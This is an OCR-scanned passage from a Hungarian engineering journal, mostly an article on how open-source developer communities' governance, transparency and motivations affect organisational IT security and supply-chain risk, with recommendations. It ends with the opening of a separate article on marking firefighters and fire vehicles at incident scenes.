alkotott vélemény és kapcsolattartas kiilondsen fontos egy kdzdsség esetén. A felek

" Andrea Capiluppi — Martin Michlmayr: From the Cathedral to the Bazaar: An Empirical Study of the Lifecycle of
Volunteer Community Projects. In Joseph Feller - Brian Fitzgerald — Walt Scacchi - Alberto Sillitti (szerk.): Open
Source Development, Adoption and Innovation. Springer, 2007. 31-44.

12 Darren Forrest et alii: Exploring the Role of Outside Organizations in Free/Open Source Software Projects. In
Imed Hammouda - Bjérn Lundell - Tommi Mikkonen — Walt Scacchi (szerk.): Open Source Systems: Long-Term
Sustainability. Springer, 2012. 201-215.

3 Jukka Ruohonen et alii: Mining Social Networks of Open Source CVE Coordination. Proceedings of the 27" Interna-
tional Workshop on Software Measurement and 12'" International Conference on Software Process and Product
Measurement. Gothenburg, Sweden, ACM, 2017. 176-188.

™ Mario Schaarschmidt — Gianfranco Walsh — Harald F. Von Kortzfleisch: How do firms influence open source
software communities? A framework and empirical analysis of different governance modes. Information and
Organization, 25. (2015), 2. 99-114.

> M. Martinez-Torres: A genetic search of patterns of behaviour in OSS communities. Expert Systems with
Applications, 39. (2012), 18. 13182-13192.

Hadmérnok « 15. évfolyam (2020) 3. szam

99



100

Mészaros Gergely: Nyilt fejleszt6i kozosségek hatasa az informatikai biztonsagra

gyakran csak egymas digitalis valdjat ismerik, gyakori a kdszonetnyilvanitas, tidvoz-
lés, a pozitiv atmoszféra fenntartasa. Az egyiittm(ikodés alapja elsésorban a bizalom
és nem a tekintély. A bizalom elvesztésének f6 oka technikai (pl. kritikus hibak beve-
zetése, tervezési egység megsértése) kisebb részben szocialis jellegli. A kozosségekben
régebb ota részt vevd felek hamarabb kdz0s nevezére tudnak jutni, vagyis a kozosségi
kommunikacio tanulhato, fejleszthetd. A prominens fejleszt6k jelentds része gyakran
személyesen is ismeri egymast.'

Rendszeres személyes kapcsolat hijan a szoftverfejlesztés egyes folyamatai, példaul
a kddellenérzés segit a munkatarsakrol formalt kép kialakitasaban, ugyanakkor —vagy
épp ezért — a kddellendrzés vagy belsé kommunikacid sordn hasznalt udvarias szocialis
forma nagyobb jelentdséggel bir.”

A szocialis normak betartasa — amely minimalis kockazati tényezd uzleti viszony
esetén — komoly biztonsagi kdvetkezményekkel jarhat nyilt kozdsség esetén. Az udva-
riatlanul kért javitast egyszerlien figyelmen kiviil hagyhatjak, a bizalom elvesztése
jelent&sen lassithatja a szervezet szamara kritikus folyamatokat. A kdzosség altal elvart
technikai és szocialis normak betartasa vagy be nem tartédsa tehat sokkal inkabb kockazati
tényezd, mint zart forras esetében, ahol a motivacié alapvetéen financialis természetd.

Atlathatésag

A kozdsség miikddése és felépitése szinte minden esetben atlathato. Igaz ez az infor-
macié nem kozvetlendl publikalt (nincs szervezeti diagram), de a metainformaciok
alapjan felmérhet6 és elemezhetd. Az OSSD-projektek nyiltan m(ikoédnek, és minden
érdekl6d6 kozeledését szivesen veszik. Szabadon elérhet6 a szervezettel kapcsolatos
(bar bizonyos teriileteken szegényes) minden dokumentacio, napld, beszélgetés.

Az atlathatdsag segithet felmérni a nemzetbiztonsagi kockazatokat annak elle-
nére, hogy a szervezet dltalaban nemzetkozi. Egy hatdron tuli vallalat tizletmenetébe
meglehet&sen nehézkes belelatni, nehezen atvilagithatd a szervezeti strukturaja
és azok a nem szabalyozasi jellegl kényszerek, amelyeknek a szervezetnek meg kell
felelnie. Elég az elmult évek nagyobb adatgydjtési botranyaira gondolni a Facebook
vagy a Twitter kapcsan. Felmerdil a kérdés, hogy vajon mekkora nyomast tud gyako-
rolni egy vallalatra a m(ikodési kdrnyezetét biztosité nemzetallam. A klasszikus nyilt
kozdsségekre messzemenden nehezebb nyomast gyakorolni, kiildndsképpen elrejteni
annak nyomait.

A kozosségre élénk kommunikacié jellemzd és a kommunikacids adat szinte
minden esetben kénnyen hozzaférhetd. Altalaban megallapithaté az egyes szerep-
L6k munkakdre, szerepe, a munkaerd kihasznalasanak hatékonysaga és ideje. A fej-
leszt6—fejlesztd és fejleszt6—-szoftvertermék kdzotti interakcid analizise révén értékes
informacio gy(jthets, amely felhasznalhato a termék mindsitése és a kockazatbecslés

'® Bogdan Vasilescu — Vladimir Filkov — Alexander Serebrenik: Perceptions of Diversity on Git Hub: A User Survey.
IEEE/ACM 8" International Workshop on Cooperative and Human Aspects of Software Engineering, 2015. 50-
56.

7 Kangning Wei et alii: Roles and politeness behavior in community-based free/libre open source software devel-
opment. Information & Management, 54. (2017), 5. 573-582.
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soran. Ezt a megfigyelést és elemzést érdemes folyamatosan végezni, azaz a kdzosség
allapotat folyamatosan monitorozni.

A fejleszték beazonosithatosaga komoly el6nyt jelenthet komponens integracié
soran, hiszen kdzvetlenil azzal az emberrel lehet felvenni a kapcsolatot, aki az adott
komponenst készitette, amire IP, lizleti titok és szervezési okokbdl kifolydlag vajmi
kevés esély van az Uzleti modell esetén. A vezet§ fejlesztéket a kommunikacioban
elfoglalt centralitasuk alapjan automatikusan be lehet azonositani.™

Hasonléképpen elemezhetd a projekt fejlesztdi dinamikaja is, azaz projektfejlesz-
t6-megtartd és fejlesztévonzo képessége.” Ennek ismeretében az egyes fejleszték
kilépésének valoszinlisége megjésolhato, ami segithet a beszallitéi lanccal kapcsolatos
kockazatok felmérésben.

Az atlathatdsag tehat segit a beszallitdi lanccal kapcsolatos kockazatbecslésekben,
kritikus alkalmazas esetén, a hatarokon ativel6 biztonsagi atvilagitas elvégzésében,
tovabba kifejezetten el6nyds lehet vészhelyzet esetén, ugyanis a kulcsemberek kozvetlen
elérése és a tobblépcsds ligyfélszolgalat kihagyasa jelentdsen lerdviditheti a reakcidid6t.

Onszervezédés

A koz0sség valamilyen célkitlizés, ideoldgia és/vagy kulcsemberek koré szervezédik.
A csoport sikere alapvet&en a kdzdsségtél, annak szervez6déképességétol flgg,
hiszen ha nem sikeril kell§ szamu hatékony fejleszt6t vonzania, hosszabb tdvon nem
szamithat sikerre.

A tagok altalaban maguk valasztanak maguknak feladatot, azaz a feladatok
kiosztasa is onszervez6dé. Nem lehet valakit utasitani vagy elbocsatani, nincs fej-
leszt6 felvétel, sem alkalmassagi vizsga, ezeket a folyamatokat a , fejlesztébevonzas”
helyettesiti.?® A humaner&forras-menedzsment nem nagyon hasonlit az tizleti vildgban
megszokotthoz. A kevésbé népszerti feladatok elvégzése kapcsan a belépé gazdasagi
szervezetek szerepe felértékel6dik, hiszen megfeleld (altalaban anyagi) motivacioval
kiegyensulyozhatja az egyenl&tlenségeket.

Gyakran megfigyelhetd valamilyen mentori szisztéma, amelynek soran egy
régebbi tapasztalt fejlesztd segiti az Ujonnan beszallni kivandt. A mentoralt csatlakozok
mérhetSen hatékonyabbak, mint az 6nallok és a szocidlis akadalyok lekiizdésében is
sokat segithet egy j6 mentor.”’

Az 6nszervez&dés ugyanakkor nem jelenti azt, hogy nincs sziikség menedzsmentre.
A fejleszt&i haldzat szervezését elhanyagold projektek sokkal rosszabbul teljesitenek,
gyakran meg is szlinnek. A kisebb, onjelolt vezérrel rendelkezd projektek legfeljebb

8 Xin Yang: Social Network Analysis in Open Source Software Peer Review. Proceedings of the 22" ACM SIGSOFT
International Symposium on Foundations of Software Engineering, New York, NY, ACM, 2014. 820-822.

' Kazuhiro Yamashita, et alii: Magnet or Sticky? An Oss Project-by-Project Typology. Proceedings of the 11" Wor-
king Conference on Mining Software Repositories, ACM, 2014. 344-347.

% Joannis Stamelos: Management and Coordination of Free/Open Source Projects. Giinther Ruhe — Claes Wohlin
(szerk.): Software Project Management in a Changing World. Berlin-Heidelberg, Springer, 2014. 321-341.

21 Fabian Fagerholm, et alii: The Role of Mentoring and Project Characteristics for Onboarding in Open Source
Software Projects. Proceedings of the 8" ACM/IEEE International Symposium on Empirical Software Engineering
and Measurement, New York, NY, ACM, 2014. 55:1-55:10.
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akkor tudnak fejlédni, ha valamilyen mdédon fel tudjak kelteni a figyelmet; a nagyra
nové, rosszul szervezett projektekben pedig a nehézkes kommunikacié jelentdsen
megnoveli a feladatok lezarasdhoz sziikséges id6t.

Erdekes megfigyelés, hogy a résztvevék donté tébbsége csak kevés (gyakran
egyetlen) projektben vesz részt, és csak nagyon kevesen ismerik az egész projektet.??
Ez arra enged kovetkeztetni, hogy a j6 fejlesztékért komoly verseny folyik, a nyilt
kozdsségben szerepet vallalni kivandk szama és a fejlesztésre szanhatd idé is véges.
Kovetkezésképpen a nyilt kozosség megtartasa és vonzasa érdekében érdemes bizo-
nyos marketingtevékenységet végezni.

A projekt szervez6désének felmérése segit kockdzatbecslés esetén megitélni a pro-
jekt varhato életképességét. Amennyiben a szervezet Uj fejlesztét kivan a fejlesztésbe
delegalni, érdemes mentort keresni az 4tmeneti id6szak minimalizalasa érdekében.

Dontéshozatal, iranyitas, befolyas

A klasszikus modellben altalaban nincs vildgos vezetéi lanc, a ddntések sok vitaval
jarnak, ami megnaéveli a koordinacios eréfeszitéseket, a nagyobb projektek (talan épp
emiatt) centralizaltabb dontéshozatalt alkalmaznak, ugyanakkor a dontések és indok-
lasok szinte mindig atlathaték maradnak, maskiilonben elidegenitik a fejlesztéket
és leépitik a kozosséget. Nincs alkalmazhaté kényszer, igy bizonyos népszeriitlen
feladatok elvégzetleniil maradnak, illetve a nagyobb, szponzoralt projektekben azilyen
feladatokat fizetett fejleszték végzik el.

A kozosség iranyitasa lehet decentralizalt (Gn. ,Bazar” stilusu) vagy centralizalt,
esetleg hierarchikus felépités(. A elébbiek altalaban a fliggetlen, nem rutinszer( nagy
bizonytalansagu feladatokban teljesitenek jél, mig a rutinszer(, er6sen sszefliggd,
kis bizonytalansagu feladatokhoz a centralizalt felépités a megfelelébb.?

A vezet&ket —klasszikus esetben — kis részben hagyomany, nagyobb részben alkal-
massaguk alapjan valasztjak ki, tobbnyire demokratikus formaban, igy a klasszikus nyilt
kozdsség meritokracianak vagy technokracianak tekinthetd. A bizalom kiépitésénél
a legfontosabb tényez6k a fejlesztéi tudas, a reputdcid, valamint a formalis és informalis
tevékenység a kdzosségen beliil.>* A vezetSk szerepe és kiléte meghatarozd, egy-egy
vezéralak véleménye nagy sullyal eshet latba a dontéseknél. A hatasgyakorlas inkabb
csak belulrél lehetséges, ezért a szoftvercégek gyakran szponzoralnak fejlesztéket,
akik képviselik az érdekeiket. Az iparagi szereplSk befolyasa a népszertibb projekteknél
igen jelentds is lehet. A Linux kernel esetében példaul mara a vallalati hozzajarulas
mértéke meghaladja a flggetlen hozzajarulasok mértékét.>

2 Hironori Hayashi et alii: Why is collaboration needed in OSS projects? A case study of eclipse project. Proceedings
of the 2013 International Workshop on Social Software Engineering. ACM Press, 2013. 17-20.

23 Mohammad AlMarzouq - Varun Grover — Jason Bennett Thatcher: Taxing the development structure of open
source communities: An information processing view. Decision Support Systems, 80. (2015), 27-41.

2% Yuanfeng Cai — Dan Zhu: Reputation in an Open Source Software Community: Antecedents and Impacts.
Decision Support Systems, 91. (2016), 103-112.

»  |ftekar Ahmed — Darren Forrest — Carlos Jensen: A Case Study of Motivations for Corporate Contribution to FOSS.
2017 IEEE Symposium on Visual Languages and Human-Centric Computing (VL/HCC), 2017. 223-231.
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A kdz0sség fontos ddntéseiben a magcsoport tagjainak sokkal nagyobb szerepe
van, emiatt fontos lehet e szerepl6k beazonositasa, hiszen segitségiikkel lehet legin-
kabb hatni a csoportra, illetve ezeket a szerepléket érdemes a szervezetnek tamogatni.
A ddntéshozatal altaldban nem teljesen demokratikus, a magrésztél tavolabb eséknek
kevesebb beleszélasuk van a dontésekbe, illetve a mag élén allok gyakran fenntartjak
maguknak a jogot a végsé dontésre. A vezérek sem tehetnek meg barmit, hiszen ha
szembe mennek a kozosséggel, akkor annak elvesztését vagy a projekt masolasat (fork)
kockaztatnak. Legtobb projekt esetében tehat a végs6é dontés kdzdsségi nyomasra
jon létre, nagyon sokat szamit, hogy a valtoztatni kivano fél mekkora lobbierét tud
felvonultatni, hany embert tud maga mellé allitani.?® A valtozasokat egyaltalan nem
olyan egyszer( keresztiilvinni, mint az ember elsére gondoln3, hiszen a szoftver 6ri-
asira duzzadna, ha barki beletehetné kedvenc funkciojat (ez az ugynevezett , feature
bloat"), ami ellen a fejleszt6i kozosség altalaban keményen fellép.?’

Az ipari szereplSknek ugyanakkor gyakran megéri a k6zosséghez valé csatlako-
z3s vagy sajat kozOsség létrehozasa, hiszen a koz0sség altal fejleszt6khoz, informalis
tesztel6khoz és rengeteg visszajelzéshez jutnak, valamint novelhetik befolyasukat
a projektben. Kdvetkezésképpen a szervezet felépitése gyakorta béviil fizetett fej-
leszt6kkel és iparagi kapcsolatokkal. A klasszikus nyilt fejleszt&i modell nyitottsaga
természetszeriileg tdmogatja a belépést, a meritokraciajelleg miatt a cégeknek gyakran
nincs is mas lehet&ségik az iranyitasra. A belépés — mint lattuk — altaldban meg is
éri, ugyanakkor adaptalddni kell az adott projekt kultdrajahoz, ugyanis nagyon nehéz
megvaltoztatni azt.?® Amennyiben a cég jelenléte nagy, akvizicidja komoly veszélyt
jelenthet a projekt jovéjére nézve, és sulyos zavart kelthet a kdzdsségen belll még
akkor is, ha a terméket érintéen semmilyen valtoztatas nem torténik. Hasonldan
sulyos lehet a helyzet, ha a cég elhagyja a korabban vezetett projektet, még akkor is,
ha korabban az nélkiile is mikodéképes volt.?

Amennyiben egy gazdasagi szerepl6 hatdst szeretne gyakorolni a kdzosségre,
azt a vezetdk befolyasolasaval vagy eréforras-bevitellel - elsésorban sajat fejlesz-
téket integralva — teheti meg. Az eréforras-raforditas formaja lehet integracid, ahol
a szervezet beépil a kdzdsségbe; lehet hatalomatvétel, amely esetben a szervezet egy
létezd kdzosség felett veszi at az iranyitast; uj k6z6sség létrehozasa, amikor a szervezet
kezeli azt; masolas (fork), ahol a szervezet sajat fuggetlen valtozatot indit a FLOSS
termékbdl; végil kiadds, ahol a szervezet nyilt forrasuként kiadja valamely terméket,
de nem foglalkozik vele, hogy épiil-e koré kozdsség, vagy sem. Ez az utdbbi stratégia

% Roshanak Zilouchian Moghaddam — Michael Twidale — Kora Bongen: Open Source Interface Politics: Identity,
Acceptance, Trust, and Lobbying. Proceedings of the 2011 Annual Conference Extended Abstracts on Human
Factors in Computing Systems, ACM, 2011. 1723-1728.

¢ Paula M. Bach - Robert DeLine — John M. Carroll: Designers Wanted: Participation and the User Experience in
Open Source Software Development. Proceedings of the SIGCHI Conference on Human Factors in Computing
Systems, ACM, 2009. 985-994.

% Mikko Rajanen — Netta livari: Examining Usability Work and Culture in OSS. In Ernesto Damiani — Fulvio Frati
- Dirk Riehle — Anthony I. Wasserman (szerk.): Open Source Systems: Adoption and Impact. Cham, Springer Inter-
national Publishing, 2015. 58-67.

% Andrea Capiluppi - Klaas-Jan Stol — Cornelia Boldyreff: Exploring the Role of Commercial Stakeholders in Open
Source Software Evolution. In Imed Hammouda — Bjérn Lundell - Tommi Mikkonen — Walt Scacchi (szerk.):
Open Source Systems: Long-Term Sustainability. Springer, 2012. 178-200.
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figyelhetd meg tobbek kézott a kormanyzati szektorban, ahol a kormanyzati forra-
sokbdl késziilt terméket OSI-kompatibilis licenccel adjak ki.*°

A fizetett fejleszt6k vélhet6en nagyobb hatast képesek kifejteni a kdzosségre, de
legalabbis tobb emberrel kommunikalnak, veliik is tobb ember keresi az interakciot,
és a centralitasi értékeik is magasabbak,®’ emiatt hasznos lehet a fizetett fejleszt6k
(automatizalt) beazonositasa.>

A vallalatok altalaban dedikalt mddszertant alkalmaznak, hogy minésitett infor-
maciok ne szivaroghassanak ki a nyilt egyiuttm(kodésen keresztil. A megosztott ada-
tokat Uzleti szempontok szerint sz(irik és felel&soket, Ugynevezett ,Gatekeeper”-eket
jelolnek ki, akik a szervezet hatdran allva ellendrzik az informaciéaramlast.

A nagy, nyilt projektek iranyitasa sok tekintetben hasonlit a politikara, egzakt
modon nehezen megfoghatd szocialis vonatkozasai vannak, tobb szereplé kiizd
kilonféle modszerekkel a befolydsért, és néha utkdznek az érdekek. Integratorként
a nyilt forrasu kozosség feletti irdnyitas képessége fontos stratégiai tényezd lehet.
Amennyiben a projekt elkanyarodik a szervezet altal képviselt iranytol, elvben ugyan
lehet&ség van a projekt forkolasara, Uj kdzosség alakitasara, am ezek a megoldasok
rendkiviil er6forrasigényesek. Amennyiben a szervezet a projekt irdnyitasaban nem
érdekelt, akkor is érdemes kockazatértékelésnél figyelembe venni a tényleges iranyitok
szerepét és céljait, hiszen egy-egy fontosabb szerepld kilépése vagy a projekt forkolasa
jelentds zavart okozhat a kozosségben.

Résztvevik

Mint kiderdlt, a kulcsszerepl6k beazonositasa igen fontos, ez azonban nehézségekbe
utkozhet. Nemcsak a konkrét személy identitasat lehet nehéz megallapitani, hanem
az egyes pszeudoanonim identitasok (e-mail, nick, alnév, cim stb.) azonossagat is.
Néha a személyazonossag par perces kereséssel kiderithet§, mas esetben — kiléno-
sen, ha a fejlesztd szandékosan rejt6zkddik — a feladat kozel lehetetlen. & példa erre
Satoshi Nakamoto, a Bitcoin-halézat tervezdje, akinek kilétét az ez iranyu jelentds
er6feszitések ellenére is mind a mai napig homaly fedi.

Az azonositas nehézsége miatt problematikus lehet a javitas és hibajegyek szerzdi
kilétének ellendrzése. Ezen a probléman segithet valamelyest a csomaghoz csatolt vagy
verziokezeld rendszerben tarolt digitalis alairas. Sajnos sok esetben a fejleszték tobb
ilyen alairast is hasznalnak (elvesztés, frissités miatt), igy sem 100%-o0s, és gyakran
csak a pszeudoidentitashoz rendelés lehetséges. Tovabbi probléma, hogy a fejleszték
altal hasznalt digitalis alairds nem az iparban elterjedtebb Public Key Infrastructure

30 Schaarschmidt-Walsh—Kortzfleisch i. m. (14. lj.)

31 Anh Nguyen Duc et alii: Impact of Stakeholder Type and Collaboration on Issue Resolution Time in OSS Projects.
In Scott A. Hissam — Barbara Russo — Manoel G. de Mendonga — Neto Fabio Kon (szerk.): Open Source Systems:
Grounding Research. Springer, 2011. 1-16.

32 Maélick Claes et alii: Towards Automatically Identifying Paid Open Source Developers. IEEE/ACM 15™ Internatio-
nal Conference on Mining Software Repositories (MSR), 2018. 437-441.

3 Anh Nguyen Duc, et alii: Coopetition of Software Firms in Open Source Software Ecosystems. In Arto Ojala
- Helena Holmstrém Olsson — Karl Werder (szerk.): Software Business. Cham, Springer, 2017. 146-160.
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(PKI) rendszerén alapul, hanem a koz6sségi GPG kriptografiai szoftver Web of Trust
(WoT-) eljarasat hasznalja.

ArésztvevBk sokféle kornyezetbdl érkeznek, tobb koziillik kivald szakember, hat-
terlik pedig igen eltéré mind életkorra, szarmazasra és képzettségre vald tekintettel.
Altalaban j6 csapatjatékosok és alapvetéen implementéciéorientaltak.>*

Az Uzleti fejlesztés profitvezérelt (kiils6 motivacion alapul), a nyilt fejlesztést
(elsésorban belsé) motivacidk hatasegylittese jellemzi. Bels indittatasbol fejleszthet
valaki azért, mert tanulni akar, vagy hianyzik egy rég kivant képesség a kedvenc szoft-
verébdl, a kdzdsségi élmény miatt, egyszer(ien az alkotas 6roméért vagy a tarsadalom
iranti elkotelezettségbdl, altruizmusbol.®

Afizetett fejleszt6k motivacioja tipusat tekintve lehet szabad szponzoralas, amely
esetben nincs konkrét instrukcié az alkalmazotol; lehet alkalmazotti viszony vilagos
feladatokkal; részlegesen kotott, ahol a fejlesztd ideje egy részével rendelkezhet;
valamint egy adott cél eléréséért kapott dij, megbizasi viszony.?®

A belsé motivacio elénye, hogy hatékonyabb, mint a kiilsé motivacid, hatranya
viszont az iranyithatdsag hidnya, igy példaul a belsé indittatasbol fejleszték nem igazan
kedvelik az adminisztraciét, az ,unalmas"” feladatokat, kedvelik viszont a nyiltsagot,
kényesek a kommunikacié minéségére, a termék nyiltsagara, valamint a licencre, kony-
nyen eléfordulhat, hogy kifejezetten elutasitdak a zart forrasu rendszerekkel szemben.?”

A motivacio ismerete fontos, ugyanis ha a szervezet befolyast akar gyakorolni
a kozosségre sajat delegalt emberei altal, a delegaltaknak tisztaban kell lennitik a nyilt
fejleszt6k motivacioival, amennyiben hatni akarnak rajuk. Mint korabban kidertiilt,
a szervezet szamara sok esetben fontos lehet a kulcsemberek beazonositasa és aktivi-
z3lasa. A megfelel6 belsé motivacié ismerete és kiils6 motivacids forma megtalalasa
fontos lehet a hatékony hibajavitas, tamogatas és a beszallitoi lanc stabilitasanak
szempontjabol.

Kovetkeztetések

A nyilt és zart modell szervezeti felépitése és szocialis strukturaja jelentésen eltér.
A fejleszt6kozdsség szerkezete kdzdsségihalozat-szerd, iranyitasa pedig magas tech-
nikai felkésziltséget, ugyanakkor j6 szocialis érzékenységet, illetve némi politikusi
vénat igényel. A nyilt k6zosség nehezen befolyasolhatd, miikodése viszont teljesen
atlathato, igy az esetleges kockazat kdnnyebben becsiilhetd.

34 K.Y. Sharif et alii: An empirically-based characterization and quantification of information seeking through ma-
iling lists during Open Source developers' software evolution. Information and Software Technology, 57. (2015),
77-94.

*  Jailton Coelho et alii: Why We Engage in FLOSS: Answers from Core Developers. |[EEE/ACM 11" International
Workshop on Cooperative and Human Aspects of Software Engineering (CHASE), 2018. 114-121.

% Evangelia Berdou: Insiders and Outsiders: Paid Contributors and the Dynamics of Cooperation in Commu-
nity Led F/OS Projects. In Ernesto Damiani — Brian Fitzgerald — Walt Scacchi - Marco Scotto — Giancarlo Succi
(szerk.): Open Source Systems. Springer, 2006. 201-208.

¥ Adam Alami - Yvonne Dittrich — Andrzej Wasowski: Influencers of Quality Assurance in an Open Source Commu-
nity. Proceedings of the 11" International Workshop on Cooperative and Human Aspects of Software Enginee-
ring (CHASE), 2018. 61-68.
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A FLOSS felhasznalasara vonatkozd biztonsagi hatasok csak kdzvetetten, a kdzos-
ség m(ikddésén keresztil érzékelhetSk. A kozosség hatékony miikodése altalaban
feltétele a hosszu tavd miikodésnek, azaz a kozdsség segitése és iranyitasa, de lega-
labb elemzése valamilyen mddon szerepet kell kapjon a beszallitoi lanccal foglalkozd
kockazatelemzésiinkben.

Nagyobb volumen( felhasznalas esetén elengedhetetlen a projekt befolyasolasa,
amely csak a kozosségben valo részvétel altal érhetd el. A részvétel torténhet kdzvet-
lendl szervezeti keretek kozt, allami szinten vagy alapitvanyok formajaban.

A fejleszték pontos kiléte nem mindig allapithatd meg, ugyanakkor a pszeudo,
identitasok katalogizalasa megoldhato, még ha nem is szokvanyos gyakorlat.

Altalanos, direkt vagy indirekt felhasznalas esetén az alabbi biztonsagi hatasokat
azonositottam:

Amennyiben a fejleszték és a hibabejelent6 (felhasznald szervezet) kézotti kom-
munikacié nem felel meg a kdzosség normainak, a hiba vagy sériilékenység javitas
nélkil maradhat. Ha a kozosség vezet§ szerepléje tavozik (cég akvizicioja, fejlesztd
kilépése), a tamogatas folytonossaga veszélybe keriilhet. A felhasznalo szervezet
nem feltétlen alkalmazza a FLOSS-fejlesztésben megszokott, de az Uzleti vildgban
ritkan hasznalt kriptografiai eljarasokat a sértetlenség ellendrzésére, ami az ellendrzés
elhanyagolasahoz vezethet. Ha a kdz0sség altal képviselt fejlesztési irany jelentésen
megvaltozik, és a felhasznald szervezet nem tudja befolyasolni azt, a megszokott
pénziigyi eszkozok (pl. akvizicio) hatastalanok.

Amennyiben a szervezet részt tud vallalni a fejlesztésben, a kovetkezd kockaza-
tokkal kell szamolni: A delegalt fejleszt6k nyilt kommunikacidja érzékeny adatokat
tehet publikussa; az er8s cégiranyitas miatt a fejleszték elhagyhatjak vagy forkoljak
a projektet, veszélyeztetve a tdmogatast; rossz vagy az elvarasoknak nem megfelel6
kéd kildése a bizalom, ezaltal az kozdsség feletti irdnyitas elvesztését okozza.

Akockazatok egy része szerencsére mérsékelhetd, az alabbi szempontok betartasaval:

1. A vezetkben tudatositani kell, hogy a nyilt kdzdsség eltéré modszertant
igényel, fejleszt8it mas modon kell motivalni.

2. Erdemes folyamatosan monitorozni a kézosséget.

3. A hibabejelentések soran oda kell figyelni az elvart szocialis és technikai
normak betartasara.

4. Elemezni kell a belsd szerkezetet, meghatarozva a kulcsszerepl6ket. Az adatok
alapjan kockazatelemzés végezhet6, és szlikség esetén a megfeleld személy
elérési adatai rendelkezésre allnak.

5. A digitalis alairasokat hasznalo fejleszt6k nyilt kulcsait (rendszerint GPG) be
kell szerezni, biztonsagos adatbazisban téarolni, hozzaférhet&vé tenni és sziikség
esetén ellendrizni.

6. Sziikség esetén a kozosségbe fejlesztbket kell delegalni, akiknek lehetdség

szerint mentort kell keresni.

Megfelelé lobbier6t kell kiépiteni az érdekérvényesitd képesség érdekében.

8. A kozdsségbe delegilt fejleszt6k kommunikacidja ne legyen elkiildnitett, de
a kdzosségi csatornan folyd kommunikécié informacidtartalmat ellendrizni
kell. Erre a célra érdemes felel&st (gatekeeper) kijeldlni, aki a kozosséggel vald
kapcsolattartast és az oda aramlé informaciot ellenérzi.

N
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Mint lathato, a nyilt forrasu fejlesztések metodikaja és szervezése valdban jelentdsen
eltérhet az tzleti vilagban megszokottol (bar mindkét iranybol megfigyelhetd bizo-
nyos konvergencia). Ezek a kiilonbségek azonban nem egyszer(ien belsé technikai
és adminisztrativ eltérések, hanem egyedi felhasznaldi (integratori) magatartast is
igényelnek. A dobozos vagy szerz6déses alapon fejlesztett szoftverek esetében meg-
szoktunk bizonyos garancialis feltételeket és technikai megoldasokat, amelyek a nyilt
forras esetében teljességgel hidnyoznak. Léteznek ellenben alternativ megoldasok,
amelyekkel a korabbiak esetében nem élhetiink.

Az egyik — egyszer(i — lehet8ség, hogy szervezeti szinten kdzvetlen nyilt forrasu
fejlesztésbol szarmazo szoftvert egyaltalan nem vesziink igénybe. A nyilt forrasu
komponensek rendkiviili elterjedtségét figyelembe véve azonban szinte bizonyos,
hogy kozvetett médon akkor is szamtalan FLOSS-komponenssel keriiliink kapcsolatba.
Ebben az esetben tehat arrol kell meggy&z6dniink, hogy a tovabbértékesitést vagy
fejlesztést végzé partner valéban képes a kockazatok mérséklésére, és figyelembe
veszi-e a nyilt kdzosség ,jatékszabalyait”.

Osszetettebb rendszer huzamosabb ideig torténd felhasznalasa esetén viszont
tényleges biztonsagi elényt jelenthet, ha a megszokottnal kdzelebbrél kdvetjik a fej-
lesztést, idedlis esetben sajat fejlesztéket delegalva a kozdsségbe.
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Tomka Péter!

A beavatkoz6 tlizolté erék
es a készenléti szerek magyarorszagi
jeloléseinek fejlesztési lehetdsegei

Development Opportunities for Identifying
Firefighters and Vehicles on the Fireground
in Hungary

A beavatkoz6 tiizoltok és a gépjarmiivek felismerhet6sége és megkiilonbozte-
tése kulcsfontossagi abban, hogy mennyire atlathaté egy karhely. Egy korabban
a beavatkozasokon részt vevé tlizoltok megkérdezésével végzett felmérés alap-
jan kijelenthetd, hogy sziikséges a beavatkozok, a tlizoltasvezetSk és a készenléti
szerek pontosabb jel6lése. A szerzé bemutat kiilonb6z4 kiilfoldon alkalmazott
megoldasokat, és megvizsgélja, hogy miként lehet ezeket a magyar tiizoltasi szer-
vezetbe beépiteni. A beavatkozé tiizoltok egyénileg a radios hivénévvel jelolhetSk
a véddsisakon, védéruhan vagy a légzékésziiléken. A tlizoltasvezetd és az egyéb
karesetnél szervezhetd beosztasokat karszalaggal, gallérral vagy mellénnyel lehet
jelolni. A készenléti szerek jelolését hivonév esetén magnesmatricaval vagy tapado-
korongos tablaval lehet megoldani, a tlizoltastechnikai paraméterek és a tetgjelolés
matricazassal kivitelezhet6.

Kulcsszavak: tlizoltas, karhely, jelolések, tlizoltasvezetés, nyomon kdvethetdség

The ability to identify and distinguish firefighters and vehicles is a key factor on how
transparent the fireground is. A survey previously conducted amongst firefighters
reveals that it is necessary to better mark individual firefighters, the incident com-
mander and firefighting vehicles. The author presents solutions used around the
world and examines which methods may be incorporated into the Hungarian fire
service. Individual firefighters can be marked by their call signs on their helmets,
turnout gear and SCBA. Incident commanders and other crucial positions can use

' Févérosi Katasztrofavédelmi Igazgatdsag X. keriileti Hivatasos Tizoltdparancsnoksag, rajparancsnok, e-mail:
peter.tomka@gmail.com; ORCID: https://orcid.org/0000-0003-1420-7232
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armbands, collars and wests to mark themselves. Magnetic or suction cup panels
identify vehicle call signs, while adhesive labels can be used for technical parame-
ters and roof markings.

Keywords: firefighting, fireground, identification, incident command, accountability

Bevezetés

A tlizoltosag és katasztréfavédelem teriiletén végzett kutatasok egyik célja azoknak
a legjobb megoldasoknak a megtalalasa, amellyel novelhetd a kareseti beavatkozasok
hatékonysaga.? A hatékony tlzoltasi szervezet elengedhetetlen feltétele a tlizoltast
végz6 erdk és az adltaluk hasznalt jarmUivek és felszerelések helyzetének és feladata-
nak pontos ismerete, amihez szlikséges ezeket valamilyen modon vizualisan jeldlni.
A jelenlegi magyarorszagi szabalyozas viszont tobb pontban fejlesztésre szorul.

A jelenlegi szabalyozas szerint a tlizoltasban részt vevék szolgalati helye
és az dllomanytablahoz igazodd rendszeresitett [étszam szerinti beosztasa a tlizolto-
sisakon van felmatricazva. A készenléti szolgalat esetében viszont ettél eltérhet
az aznapi szolgalati helye és a napi szolgalati [étszam szerinti beosztasa. Ez azért
gond, mert a gépjarm(ifecskend6kon ellatott parancsnoki feladatok és a radiés
hivonevek a napi szolgalati létszam szerinti beosztashoz vannak kotve, amely igy
ellent mondhat a sisak jelélésének.

Ugyszintén probléma, hogy a kareseteknél szervezhet6 beosztasok semmilyen
modon nincsenek jelolve. Bar a tlizoltasvezetés dtadas-atvételnek el kell hangoznia
radidforgalmazasban, de korantsem biztos, hogy errél értesil az 0sszes tlizoltd.
Ugyanez a helyzet a tobbi beosztassal, ranézésre nem megallapithato, hogy karesetnél
ki milyen feladatot lat el.

A készenléti gépjarmivekre jelenleg nem vonatkozik szabalyozas, hogy milyen
jeloléssel kell Sket ellatni, jobb esetben helyi szokas szerint legalabb a szolgalati hely
